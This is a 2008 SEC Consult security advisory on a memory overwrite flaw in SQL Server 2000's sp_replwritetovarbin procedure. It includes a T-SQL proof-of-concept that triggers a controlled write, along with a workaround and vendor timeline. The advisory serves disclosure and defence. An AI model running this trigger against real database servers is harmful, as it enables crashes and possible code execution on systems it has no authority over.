SEC Consult Security Advisory < 20081209-0 >
=====================================================================================
                  title: Microsoft SQL Server 2000 sp_replwritetovarbin
                         limited memory overwrite vulnerability
                program: Microsoft SQL Server 2000
     vulnerable version: <=8.00.2039
               homepage: www.microsoft.com
                  found: 04-12-2008
                     by: Bernhard Mueller (SEC Consult Vulnerability
Lab)
             perm. link:
http://www.sec-consult.com/files/20081209_mssql-2000-sp_replwritetovarbin_memwrite.txt
=====================================================================================

Product description:
--------------------

Microsoft SQL Server is a relational database management system (RDBMS)
produced by Microsoft. Its primary query language is Transact-SQL, an
implementation of the ANSI/ISO standard Structured Query Language (SQL)
used by both Microsoft and Sybase.


Vulnerabilty overview:
----------------------

By calling the extended stored procedure sp_replwritetovarbin, and
supplying several uninitialized variables as parameters, it is possible
to trigger a memory write to a controlled location. Depending on the
underlying Windows version, it is / may be possible to use this
vulnerability to execute arbitrary code in the context of the vulnerable
SQL server process.
In a default configuration, the sp_replwritetovarbin stored procedure is
accessible by anyone. The vulnerability can be exploited by an
authenticated user with a direct database connection, or via SQL
injection in a vulnerable web application.


Vulnerability details:
----------------------

The following T-SQL script can be used to test for the vulnerability:


--------------------------------
DECLARE @buf NVARCHAR(4000),
@val NVARCHAR(4),
@counter INT

SET @buf = '
declare @retcode int,
@end_offset int,
@vb_buffer varbinary,
@vb_bufferlen int,
@buf nvarchar;
exec master.dbo.sp_replwritetovarbin 1,
  @end_offset output,
  @vb_buffer output,
  @vb_bufferlen output,'''

SET @val = CHAR(0x41)

SET @counter = 0
WHILE @counter < 3000
BEGIN
  SET @counter = @counter + 1
  SET @buf = @buf + @val
END

SET @buf = @buf + ''',''1'',''1'',''1'',
''1'',''1'',''1'',''1'',''1'',''1'''

EXEC master..sp_executesql @buf
--------------------------------


This triggers an access violation exception (write to address
0x41414141).
The vulnerability has been successfully used to execute arbitrary code
on a lab machine.
SEC Consult will not release code execution exploits for this
vulnerability to the public.


Workaround:
-----------

Remove the sp_replwriterovarbin extended stored procedure. Run the
following as an administrator:

execute dbo.sp_dropextendedproc 'sp_replwritetovarbin'

See also:

"Removing an Extended Stored Procedure from SQL Server"
http://msdn.microsoft.com/en-us/library/aa215995(SQL.80).aspx


Patch:
------

According to an email received by Microsoft in September, a fix for this
vulnerability has been completed.
The release schedule for this fix is currently unknown.


Vendor timeline:
---------------
Vendor notified: 2008-04-17
Vendor response: 2008-04-17
Last response from Microsoft: 09-29-2008
Request for update status 1: 10-14-2008
Request for update status 2: 10-29-2008
Request for update status 3: 11-12-2008
Request for update status 4
and prenotification about advisory release date: 11-28-2008
Public release: 11-09-2008

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EOF Bernhard Mueller / @2008